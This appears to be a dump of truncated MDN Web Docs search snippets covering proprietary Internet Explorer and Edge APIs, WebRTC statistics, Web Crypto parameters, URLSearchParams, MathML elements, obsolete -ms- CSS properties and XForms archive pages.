... bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event. on internet explorer in the new windows ui, this event is supported in windows 8.1 imes of all languages. syntax event property object.oncandidatewindowhide = handler; addeventlistener method object.addeventlistener("mscandidatewindowhide", handler, usecapture) nbsp; parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event. the handler of this event will see that the iscandidatewindowvisible method returns false, and no clientrect object is returned from getcandidatewindowclientrect. web applications need only register for this event once per element (t...
MSCandidateWindowUpdate - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. mscandidatewindowupdate fires after the input method editor (ime) candidate window has been identified as needing to change size, but before any visual updates have rendered. this proprietary method is specific to internet explorer. general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event. on internet explorer in the new windows ui, this event is supported in windows...
...ubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event. on internet explorer in the new windows ui, this event is supported in windows 8.1 imes of all languages. syntax event property object.oncandidatewindowupdate = handler; addeventlistener method object.addeventlistener("mscandidatewindowupdate", handler, usecapture) parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event. tan ime candidate window may be identified as needing to change size for any of the following reasons: as a result of displaying new / changed alternatives or predictions web applications need only register for this event once per el...
msIsBoxed - Web APIs
Web › API › MsIsBoxed
this proprietary property is specific to internet explorer and microsoft edge. ...
...e screen format of a video, and the aspect ratio of the screen. typically the video's left and right edges go to the full width of the screen. pillarbox format displays black bars on the left and right of a video to fill in the difference between a video and a wider screen. with pillarbox format, the top and bottom edges of the video go to the full height of the screen. syntax isboxed = object.msisboxed value boolean value set to true activates boxed mode for the video player. boolean value set to false means the video player is zoomed to fill the screen. ...
msRealTime - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msrealtime is a read/write property which specifies whether or not to enable low-latency playback on the media element. this proprietary property is specific to internet explorer and microsoft edge. syntax ptr = object.msrealtime; value boolean value set to true indicates that low-latency playback will be enabled on the media element. low-latency playback is useful in communication and some gaming scenarios, but is more demanding on power consumption and less reliable for smooth media play...
...proprietary property is specific to internet explorer and microsoft edge. syntax ptr = object.msrealtime; value boolean value set to true indicates that low-latency playback will be enabled on the media element. low-latency playback is useful in communication and some gaming scenarios, but is more demanding on power consumption and less reliable for smooth media playback. you must set the msrealtime before setting the src property in code. msrealtime should not be used in non-real-time or non-communication scenarios, such as audio and/or video playback, as this can affects playback startup latency of audio and video playback. ...
msSetMediaProtectionManager - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mssetmediaprotectionmanager method specifies the media protection manager for a given media pipeline. this proprietary method is specific to internet explorer and microsoft edge. syntax htmlmediaelement.mssetmediaprotectionmanager(mediaprotectionmanager); parameters the windows.media.protection namespace provides classes to manage digital rights management (drm) media contents. the mediaprotectionmanager class can be passed as an input to a media playback api or the mediaprotectionmanager proper...
...edge. syntax htmlmediaelement.mssetmediaprotectionmanager(mediaprotectionmanager); parameters the windows.media.protection namespace provides classes to manage digital rights management (drm) media contents. the mediaprotectionmanager class can be passed as an input to a media playback api or the mediaprotectionmanager property inside the tag's video or audio. the optional parameter of the mssetmediaprotectionmanager property is mediaprotectionmanager and can be any type. return value this method does not return a value. ...
msSaveBlob - Web APIs
defaultname the file name to be used when saving file. return value true is returned as long as the download notification bar is displayed, or false if a failure occured. ...
... defaultname the file name to be used when saving file. return value true is returned as long as the download notification bar is displayed, or false if a failure occured. ...
msSaveOrOpenBlob - Web APIs
defaultname the file name to be used when saving file. return value true is returned as long as the download notification bar is displayed, or false if a failure occurred. ...
... defaultname the file name to be used when saving file. return value true is returned as long as the download notification bar is displayed, or false if a failure occurred. ...
Pbkdf2Params - Web APIs
this may be one of: sha-1 sha-256 sha-384 sha-512 warning: sha-1 is considered vulnerable in most cryptographic applications, but is still considered safe in pbkdf2. however, it's advisable to transition away from it everywhere, so unless you need to use sha-1, don't. use a different digest algorithm instead. salt a buffersource. this should be a random or pseudo-random value of at least 16 bytes. ...
... recommendation ...
RTCInboundRtpStreamStats.bytesReceived - Web APIs
the rtcinboundrtpstreamstats dictionary's bytesreceived property is an integer value which indicates the total number of bytes received so far from this synchronization source (ssrc). syntax var bytesreceived = rtcinboundrtpstreamstats.bytesreceived; value an unsigned integer value indicating the total number of bytes received so far on this rtp stream, not including header and padding bytes. this value can be used to calculate an approximation of the average media data rate: avgdatarate = rtcinboundrtpstreamstats.bytesreceived / elapsedtime; this value gets reset to zero if the sender's ssrc identifier changes for any reason. ...
...dding bytes. this value can be used to calculate an approximation of the average media data rate: avgdatarate = rtcinboundrtpstreamstats.bytesreceived / elapsedtime; this value gets reset to zero if the sender's ssrc identifier changes for any reason. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.bytesreceived' in that specification. candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.fecPacketsDiscarded - Web APIs
this can happen if all the packets covered by the fec packet have already been received or recovered using another fec packet, or if the fec packet arrived outside the recovery window and the lost rtp packets have already been skipped during playback as a result. the value of fecpacketsreceived includes these discarded packets. ...
... candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.pliCount - Web APIs
the plicount property of the rtcinboundrtpstreamstats dictionary states the number of times the rtcrtpreceiver described by these statistics sent a picture loss indication (pli) packet to the sender. a pli packet indicates that some amount of encoded video data has been lost for one or more frames. syntax var plicount = rtcinboundrtpstreamstats.plicount; value an integer value indicating the number of times a pli packet was sent by the rtcrtpreceiver to the sender. these are sent by the receiver's decoder to notify the encoder (the sender) that an undefined amount of coded video data, which may span frame boundaries, has been lost. this information is only available for video streams. this may trigger the sender to send a full frame in order to allow the receiver to re-synchronize, sin...
... candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.sliCount - Web APIs
the slicount property of the rtcinboundrtpstreamstats dictionary indicates how many slice loss indication (sli) packets the rtcrtpreceiver for which this object provdes statistics sent to the remote rtcrtpsender. an sli packet is used by a decoder to let the encoder know that it's detected corruption of one or more consecutive macroblocks (in scan order) in the received media. in general, what's usually of interest is that the higher this number is, the more the stream data is becoming corrupted between the sender and the receiver, requiring resends or dropping frames. syntax var slicount = rtcinboundrtpstreamstats.slicount; value an unsigned integer indicating the number of sli packets this receiver sent to the remote sender due to lost runs of macroblocks. a high value of slicount ma...
...nder due to lost runs of macroblocks. a high value of slicount may be an indication of an unreliable network. this is a very technical part of how video codecs work. for details, see rfc 4585: 6.3.2. note: this value is only present for video media. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.slicount' in that specification. candidate recommendation initial definition. ...
RTCRtpStreamStats.firCount - Web APIs
this value is available only on receivers for video tracks. the receiver sends a fir packet to the sender any time it falls bahind or loses packets and cannot decode the incoming stream any longer because of the lost data. this tells the sender to send a full frame instead of a delta frame, so that the receiver can catch up. ...
... the higher fircount is, the more often frames were dropped, which may be an indication that the media's bit rate is too high for the available bandwidth, or that the receiving device is overburdened and is therefore unable to process the incoming data. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: fircount' in that specification. candidate recommendation initial definition. identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats: fircount' in that specification. candidate recommendation initial definition. ...
RTCRtpStreamStats.nackCount - Web APIs
the nackcount property of the rtcrtpstreamstats dictionary is a numeric value indicating the number of times the receiver sent a nack packet to the sender. a nack (negative acknowledgement, also called "generic nack") packet tells the sender that one or more of the rtp packets it sent were lost in transport. syntax var nackcount = rtcrtpstreamstats.nackcount; value an integer value indicating how many times the receiver sent a nack packet to the sender after detecting that one or more packets were lost during transport. note: this value is only available on the receiver. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: nackcount' in that specification. candidate recommendation ...
...t during transport. note: this value is only available on the receiver. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: nackcount' in that specification. candidate recommendation initial definition. identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats: nackcount' in that specification. candidate recommendation initial definition. ...
RsaOaepParams - Web APIs
this should be set to rsa-oaep. label optional a buffersource — an array of bytes that does not itself need to be encrypted but which should be bound to the ciphertext. a digest of the label is part of the input to the encryption operation. unless your application calls for a label, you can just omit this argument and it will not affect the security of the encryption operation. examples see the examples for subtlecrypto.encrypt() and subtlecrypto.decrypt(). ...
...the input to the encryption operation. unless your application calls for a label, you can just omit this argument and it will not affect the security of the encryption operation. examples see the examples for subtlecrypto.encrypt() and subtlecrypto.decrypt(). specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsaoaepparams' in that specification. recommendation ...
RsaPssParams - Web APIs
this should be set to rsa-pss. saltlength a long integer representing the length of the random salt to use, in bytes. rfc 3447 says that "typical salt lengths" are either 0 or the length of the output of the digest algorithm that was selected when this key was generated. for example, if you use sha-256 as the digest algorithm, this could be 32. ...
... recommendation ...
Using writable streams - Web APIs
as a javascript developer, programmatically writing data to a stream is very useful! this article explains the streams api’s writable stream functionality. note: this article assumes that you understand the use cases of writable streams, and are aware of the high-level concepts. if not, we suggest that you first read the streams concepts and usage overview and dedicated streams api concepts article, then come back. note: if you are looking for information about readable streams, try using readable streams instead. browser support the streams api is experimental, and support is at an early stage right now. only chrome currently has basic writable streams implemented. introducing an example in our dom-examples/streams repo you’ll find a simple writer example (see it live also). ...
... constructing a writable stream to create a writable stream, we use the writablestream() constructor; the syntax looks complex at first, but actually isn’t too bad. ...
msManipulationViewsEnabled - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msmanipulationviewsenabled read-only property returns true if manipulation features are support available, such as touch panning and zooming using css rules. ...
... the msmanipulationviewsenabled read-only property returns true if manipulation features are support available, such as touch panning and zooming using css rules. this proprietary property is specific to internet explorer and microsoft edge. value returns true if manipulation features are support available, such as touch panning and zooming using css rules. ...
URLSearchParams.append() - Web APIs
the append() method of the urlsearchparams interface appends a specified key/value pair as a new search parameter. as shown in the example below, if the same key is appended multiple times it will appear in the parameter string multiple times for each value. note: this feature is available in web workers. syntax urlsearchparams.append(name, value) parameters name the name of the parameter to append. value the value of the parameter to append. return value void. examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a second foo parameter. ...
...e times for each value. note: this feature is available in web workers. syntax urlsearchparams.append(name, value) parameters name the name of the parameter to append. value the value of the parameter to append. return value void. examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a second foo parameter. params.append('foo', 4); //query string is now: 'foo=1&bar=2&foo=4' specifications specification status comment urlthe definition of 'append()' in that specification. living standard initial definition. ...
URLSearchParams.sort() - Web APIs
the urlsearchparams.sort() method sorts all key/value pairs contained in this object in place and returns undefined. the sort order is according to unicode code points of the keys. this method uses a stable sorting algorithm (i.e. the relative order between key/value pairs with equal keys will be preserved). note: this feature is available in web workers. syntax searchparams.sort(); parameters none. return value undefined. ...
...is object in place and returns undefined. the sort order is according to unicode code points of the keys. this method uses a stable sorting algorithm (i.e. the relative order between key/value pairs with equal keys will be preserved). note: this feature is available in web workers. syntax searchparams.sort(); parameters none. return value undefined. examples // create a test urlsearchparams object var searchparams = new urlsearchparams("c=4&a=2&b=3&a=1"); // sort the key/value pairs searchparams.sort(); // display the sorted query string console.log(searchparams.tostring()); the result is: a=2&a=1&b=3&c=4 specifications specification status comment urlthe definition of 'sort()' in that specification. living standard initial definition ...
msRegionOverflow - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msregionoverflow read-only property determines if content fully fits into the region or not. this proprietary property is specific to internet explorer. syntax string = object.msregionoverflow values type:domstring overflow: the region element's content overflows the region's content box. note that the region's overflow property value can be used to control the visibility of the overflowing content. this means that the region is the last one in the region chain and not able to fit the...
... in particular, in this last case, that means the region may have received no content from the named flow (for example if the region is too small to accommodate any content). empty: the region element has no content and is empty. all content from the named flow was fitted in regions with a lower content-order value. undefined: the element is not a region. when the region is an actual element, msregionoverflow provides the ability to find out if content fully fits into the region or not. however, it is only available to regions that are document elements and not to regions that are pseudo-elements. see also microsoft api extensions ...
mssitemodejumplistitemremoved - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mssitemodejumplistitemremoved event occurs when mssitemodeshowjumplist is called and an item has been removed from a jump list by the user. ...
...havior may change in the future. the mssitemodejumplistitemremoved event occurs when mssitemodeshowjumplist is called and an item has been removed from a jump list by the user. this proprietary method is specific to internet explorer and microsoft edge. syntax event property object.oncandidatewindowhide = handler; addeventlistener method object.addeventlistener("mssitemodejumplistitemremoved", handler, usecapture) general info synchronous no bubbles no cancelable no note this event is raised once for every item that has been removed since the last time mssitemodeshowjumplist was called. this event is not triggered if mssitemodeclearjumplist has been called. parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj int...
Using CSS transforms - CSS: Cascading Style Sheets
by modifying the coordinate space, css transforms change the shape and position of the affected content without disrupting the normal document flow. this guide provides an introduction to using transforms. css transforms are implemented using a set of css properties that let you apply affine linear transformations to html elements. these transformations include rotation, skewing, scaling, and translation both in the plane and in the 3d space. only elements positioned by the box model can be transformed. as a rule of thumb, an element is positioned by the box model if it has display: block. css transforms properties two major properties are used to define css transforms: transform and transform-origin transform-origin specifies the position of the origin. by default, it is at the ...
...oned by the box model can be transformed. as a rule of thumb, an element is positioned by the box model if it has display: block. css transforms properties two major properties are used to define css transforms: transform and transform-origin transform-origin specifies the position of the origin. by default, it is at the center of the element and can be moved. it is used by several transforms, like rotations, scaling or skewing, that need a specific point as a parameter. transform specifies the transforms to apply to the element. it is a space-separated list of transforms, which are applied one after the other, as requested by the composition operation. composite transforms are effectively applied in order from right to left. examples here is an unaltered image of the mdn logo: ...
x-ms-acceleratorkey - HTML: Hypertext Markup Language
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the x-ms-acceleratorkey attribute accessibly declares that an accelerator key has been assigned to an element: the element is activated via javascript when the key(s) are pressed on a keyboard. this proprietary property is specific to internet explorer and microsoft edge. x-ms-acceleratorkey exposes a notification in the accessibility tree, for screen readers and other assistive technologies, that an accelerator key exists for that element. this attribute does not provide the accelerator key beh...
... an accelerator key exists for that element. this attribute does not provide the accelerator key behavior. you must provide javascript event handlers, like onkeypress, onkeydown, or onkeyup, to listen for your declared accelerator keys and activate the element accordingly. to provide a keyboard shortcut for an element that does not need javascript, use the accesskey attribute. syntax <button x-ms-acceleratorkey="[explanation of key combination]">…</button> value the accelerator key combination. for example: "ctrl+b" for a combination of the ctrl and b keys. "j" for just the j key. "ctrl+; then k" for a shortcut similar to fogbugz’s old keyboard mode. this approach is more complicated, but does not override existing keyboard shortcuts provided by the user’s browser or operatin...
x-ms-format-detection - HTML: Hypertext Markup Language
none format detection is turned off. ...
... none format detection is turned off. ...
<mspace> - MathML
Web › MathML › Element › mspace
attributes class, id, style provided for use with stylesheets. depth the desired depth (below the baseline) of the space (see length for values and units). height the desired height (above the baseline) of the space (see length for values and units). linebreak indicates a line-break at the space. possible values: auto (default value), newline, nobreak, goodbreak, badbreak. starting with mathml 3, it is preferred to use <mo> to control linebreaking. mathbackground the background color. you can use #rgb, #rrggbb and html color names. width the desired width of the space (see length for values and units). ...
...le values: auto (default value), newline, nobreak, goodbreak, badbreak. starting with mathml 3, it is preferred to use <mo> to control linebreaking. mathbackground the background color. you can use #rgb, #rrggbb and html color names. width the desired width of the space (see length for values and units). note that some common attributes like mathcolor, mathvariant or dir have no effect on <mspace>. examples <math> <mspace depth="40px" height="20px" /> <mspace width="100px" /> </math> specifications specification status comment mathml 3.0the definition of 'mspace' in that specification. recommendation current specification mathml 2.0the definition of 'mspace' in that specification. recommendation initial specification ...
<msqrt> - MathML
Web › MathML › Element › msqrt
the mathml <msqrt> element is used to display square roots (no index is displayed). the square root accepts only one argument, which leads to the following syntax: <msqrt> base </msqrt>. attributes class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color and also the color of the root symbol itself. you can use #rgb, #rrggbb and html color names. examples sample rendering: rendering in your browser: x <math> <msqrt> <mi>x</mi> </msqrt> </math> specifications specification status comment mathml 3.0the definition of 'msqrt' in that specification. recommendation current specif...
...oot symbol itself. you can use #rgb, #rrggbb and html color names. examples sample rendering: rendering in your browser: x <math> <msqrt> <mi>x</mi> </msqrt> </math> specifications specification status comment mathml 3.0the definition of 'msqrt' in that specification. recommendation current specification mathml 2.0the definition of 'msqrt' in that specification. recommendation initial specification ...
<msub> - MathML
Web › MathML › Element › msub
the mathml <msub> element is used to attach a subscript to an expression. it uses the following syntax: <msub> base subscript </msub>. attributes class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. subscriptshift the minimum space by which to shift the subscript below the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. ...
...olor. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. subscriptshift the minimum space by which to shift the subscript below the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. examples sample rendering: rendering in your browser: x 1 <math> <msub> <mi>x</mi> <mn>1</mn> </msub> </math> specifications specification status comment mathml 3.0the definition of 'msub' in that specification. recommendation current specification mathml 2.0the definition of 'msub' in that specification. recommendation initial specification ...
<msubsup> - MathML
attributes class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. subscriptshift the minimum space by which to shift the subscript below the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. ...
...expression, as a length value. this attribute is deprecated and will be removed in the future. superscriptshift the minimum space by which to shift the superscript above the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. examples sample rendering: rendering in your browser: ∫ 0 1 <math displaystyle="true"> <msubsup> <mo> &#x222b;<!--integral --> </mo> <mn> 0 </mn> <mn> 1 </mn> </msubsup> </math> specifications specification status comment mathml 3.0the definition of 'msubsup' in that specification. recommendation current specification mathml 2.0the definition of 'msubsup' in that specification. recommendation initial specification ...
<msup> - MathML
Web › MathML › Element › msup
the mathml <msup> element is used to attach a superscript to an expression. it uses the following syntax: <msup> base superscript </msup>. attributes class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. superscriptshift the minimum space by which to shift the superscript up from the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. ...
...you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. superscriptshift the minimum space by which to shift the superscript up from the baseline of the expression, as a length value. this attribute is deprecated and will be removed in the future. examples sample rendering: rendering in your browser: x 2 <math> <msup> <mi>x</mi> <mn>2</mn> </msup> </math> specifications specification status comment mathml 3.0the definition of 'msup' in that specification. recommendation current specification mathml 2.0the definition of 'msup' in that specification. recommendation initial specification ...
io/byte-streams - Archive of obsolete content
function readbinarydatafromfile (filename) { var fileio = require("sdk/io/file"); var data = null; if (fileio.exists(filename)) { var bytereader = fileio.open(filename, "rb"); if (!bytereader.closed) { data = bytereader.read(); bytereader.close(); } } return data; } function writebinarydatatofile(data, filename) { var fileio = require("sdk/io/file"); var bytewriter = fileio.open(filename, "wb"); if (!bytewriter.closed) { bytewriter.write(data); bytewriter.close(); } } globals constructors bytereader(inputstream) creates a binary input stream that reads bytes from a backing stream. ...
io/text-streams - Archive of obsolete content
function readtextfromfile(filename) { var fileio = require("sdk/io/file"); var text = null; if (fileio.exists(filename)) { var textreader = fileio.open(filename, "r"); if (!textreader.closed) { text = textreader.read(); textreader.close(); } } return text; } function writetexttofile(text, filename) { var fileio = require("sdk/io/file"); var textwriter = fileio.open(filename, "w"); if (!textwriter.closed) { textwriter.write(text); textwriter.close(); } } globals constructors textreader(inputstream, charset) creates a buffered input stream that reads text from a backing stream using a given text encoding. ...
Forms related code snippets - Archive of obsolete content
|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html |*| \*/ (function () { function datepicker (otarget) { const otable = document.createelement("table"), ohrow = document.createelement("tr"), othead = document.createelement("thead"), o...
toggleItemSelection - Archive of obsolete content
« xul reference home toggleitemselection( item ) return type: no return value if the specified item is selected, it is deselected. if it is not selected, it is selected. other items in the list box that are selected are not affected, and retain their selected state. ...
-ms-block-progression - Archive of obsolete content
initial valuetbapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values tb default. top-to-bottom block flow. layout is horizontal. rl right-to-left block flow. layout is vertical. bt bottom-to-top block flow. layout is horizontal. lr left-to-right block flow. layout is vertical. formal syntax tb | rl | bt | lr specifications not part of any specification. remarks in vertical layout, text lines are rotated 90° clockwise. images are not rotated, but tables are. ...
-ms-content-zoom-limit-min - Archive of obsolete content
the -ms-content-zoom-limit-min css property is a microsoft extension that specifies the minimum zoom factor. initial value100%applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednopercentagesthe smallest allowed zoom factor. a zoom factor of 100% corresponds to no zooming. larger values zoom in. smaller values zoom out.computed valueas specifiedanimation typediscrete syntax values <percentage> the minimum zoom factor. formal syntax <percentage> specifications not part of any specification. remarks this property constrains the limit for touch zooming as well as values of the mscontentzoomfactor property. this property has no effect on non-zoomable elements. see -ms-content-zooming for details on zoomable elements. starting with ...
-ms-content-zooming - Archive of obsolete content
initial valuezoom for the top level element, none for all other elementsapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none the initial value of all elements except the top-level element. the element is not zoomable. zoom the initial value of the top-level element. the element is zoomable. formal syntax none | zoom specifications not part of any specification. remarks this property has no effect unless overflow is permitted on both the x- and y-axes. by default, zoom-enabled elements can be zoomed by the user via pinch-zoom. ...
-ms-flow-from - Archive of obsolete content
initial valuenoneapplies tonon-replaced elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none default. no container has been specified. <custom-ident> the name of the region container. formal syntax [ none | <custom-ident> ]# specifications not part of any specification. ...
-ms-flow-into - Archive of obsolete content
initial valuenoneapplies toiframe elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none default. no container has been specified. <custom-ident> the name of the region container. formal syntax [ none | <custom-ident> ]# specifications not part of any specification. ...
-ms-high-contrast-adjust - Archive of obsolete content
the -ms-high-contrast-adjust css property is a microsoft extension that gets or sets a value indicating whether to override any css properties that would have been set in high contrast mode. initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values auto indicates the applicable css properties will be adjusted as expected when the system is in high contrast mode. none indicates the applicable css properties will not be adjusted when the system is in high contrast mode. formal syntax auto | none specifications not part of any specification. remarks the -ms-high-contrast-adjust property works with the -ms-high-contrast media feature. ...
-ms-hyphenate-limit-chars - Archive of obsolete content
if the word does not meet the required minimum number of characters in the word, before the hyphen, or after the hyphen, then the word is not hyphenated. initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values auto corresponds to a value of 5 2 2, indicating a 5-character word limit, 2 characters required before a hyphenation break, and 2 characters required following a hyphenation break. ...
-ms-hyphenate-limit-lines - Archive of obsolete content
initial valueno-limitapplies toblock container elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values no-limit indicates that hyphenation is not limited based on the number of consecutive hyphenated lines. in the flow above the consecutive hyphenated lines limit would be an infinitely large positive number. <integer> indicates the maximum number of successive hyphenated lines. for instance, if 2, then no more than 2 successive lines may end with a hyphenated word. if 0 then no lines may end with a hyphenated word. ...
-ms-scroll-limit-x-max - Archive of obsolete content
the -ms-scroll-limit-x-max css property is a microsoft extension that specifies the maximum value for the element.scrollleft property. initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values auto the maximum value for the scrollleft property is equal to element.scrollwidth. <length> the maximum value for the scrollleft property. formal syntax auto | <length> specifications not part of any specification. remarks this property has no effect on non-scrollable elements. the specified behavior of the -ms-scroll-limit-x-max property is only applicable at a mscontentzoomfactor of 1; the behavior of this property is undefined at other zoom factors. t...
-ms-scroll-limit-y-max - Archive of obsolete content
the -ms-scroll-limit-y-max css property is a microsoft extension that specifies the maximum value for the element.scrolltop property. initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values auto the maximum value for the scrolltop property is equal to element.scrollheight. <length> the maximum value for the scrolltop property. formal syntax auto | <length> specifications not part of any specification. remarks this property has no effect on non-scrollable elements. the specified behavior of the -ms-scroll-limit-y-max property is only applicable at a mscontentzoomfactor of 1; the behavior of this property is undefined at other zoom factors. thi...
-ms-scroll-rails - Archive of obsolete content
initial valuerailedapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none the content moves exactly with the user's finger. this value allows for free-form panning. railed initial value. panning locks to the primary axis of motion. formal syntax none | railed specifications not part of any specification. remarks this property has no effect on non-scrollable elements. starting with windows 8.1, this property is also supported for touchpad interaction. this property requires windows 8 or later. ...
-ms-text-autospace - Archive of obsolete content
initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none no effect takes place; that is, no extra space is added. this is the default value. ideograph-alpha creates extra spacing between runs of ideographic and non-ideographic text, such as latin-based, cyrillic, greek, arabic, or hebrew text. ideograph-numeric creates extra spacing between runs of ideographic text and numeric characters. ideograph-parenthesis creates extra spacing between a normal (non-wide) parenthesis and an ideograph. ...
Developing Mozilla XForms - Archive of obsolete content
debugging always start with a debug build of the xforms and the schema-validation extensions. see building mozilla xforms for a .mozconfig for debug builds. you should create a new, clean profile for debugging. then start firefox out of the build directory: cd obj-*/dist/firefox ./firefox -no-remote -jsconsole -p yourprofilename the xforms extension that was built together with firefox should be already installed. then open your form that causes problems and have a look on the console. often you'll find the first starting points here or in the error console. schema validation problems the schema-validation extension contains a logging facility that can show some internals on the schema processing. to activate this logging output, set the nspr_log_modules environment variable: export ...
XForms Help Element - Archive of obsolete content
the message of the help element can exist in instance data, in a remote document, or as inline text. if more than one source of message is specified in this element, the order of precedence is: single node binding attributes, linking attributes, inline text. ...
XForms Hint Element - Archive of obsolete content
the message of the hint element can exist in instance data, in a remote document, or as inline text. if more than one source of message is specified in this element, the order of precedence is: single node binding attributes, linking attributes, inline text. ...
XForms Secret Element - Archive of obsolete content
sskey - used to specify the keyboard shortcut for focusing this control. single-node binding special inputmode - isn't supported. incremental - supported. the default value is false. type restrictions the secret element can be bound to a node containing simple content of any data type except xsd:base64binary, xsd:hexbinray or any data type derived from these. representations the xforms secret element is represented by a password field. the password field is a text field, the value of which is hidden by asterisks (xhtml/xul). characteristics analogous widgets are <xhtml:input type="password"/> and <xul:textbox type="password"/> if the incremental attribute is present and has the value true, then the bound instance node is updated on every user input. please keep in mind that ...
XForms Switch Module - Archive of obsolete content
the module defines for this switch, case and toggle elements. switch element the element (see the spec) is used in conjunction with case and toggle elements. the switch element contains case elements which in turn contain markup. only the contents of a single case may be displayed at one time. the toggle element is an action that when triggered will make a case selected and visible and thereby hiding all other case elements contained by the same switch. attributes single-node binding type restrictions the switch element can be bound to a node containing data of any type. ...
XForms Textarea Element - Archive of obsolete content
spec). attributes ui common appearance - isn't supported. accesskey - used to specify the keyboard shortcut for focusing this control. single-node binding special inputmode - isn't supported. incremental - supported. the default value is false. type restrictions the textarea element can be bound to a node of type xsd:string or any type derived from it. representations the xforms textarea element is represented by a multiline text field (xhtml/xul). characteristics analogous widgets are <xhtml:textarea/> and <xul:textbox multiline="true"/> if the incremental attribute has the value true, then the bound instance node is updated on every user input. ...
XForms Config Variables - Archive of obsolete content
a description of the about:config preferences that xforms uses. preference default description xforms.disablepopup false disables xforms engine popup error messages xforms.enableexperimentalfeatures false enable experimental features. for now it only enables the xforms 1.1 soap action feature, and only on trunk. ...
Accessibility tree (AOM) - MDN Web Docs Glossary: Definitions of Web-related terms
t ‘read more’ will have ‘read more’ as its name (more on how names are computed in the accessible name and description computation spec). description how do we describe this element, if we want to add anything to the name? the description of a table could explain what kind of info that table offers. role what kind of thing is it? for example, is it a button, a nav bar, or a list of items? state does it have a state? think checked/unchecked for checkboxes, or collapsed/expanded for the <summary> element. additionally, the accessibility tree often contains information on what can be done with an element: a link can be followed, a text input can be typed into, etc. ...
API - MDN Web Docs Glossary: Definitions of Web-related terms
in web development, an api is generally a set of code features (e.g. ...
Abstraction - MDN Web Docs Glossary: Definitions of Web-related terms
advantages of data abstraction helps the user to avoid writing low level code. avoids code duplication and increases reusability. can change internal implementation of class independently without affecting the user. helps to increase security of an application or program as only important details are provided to the user. ...
Alignment subject - MDN Web Docs Glossary: Definitions of Web-related terms
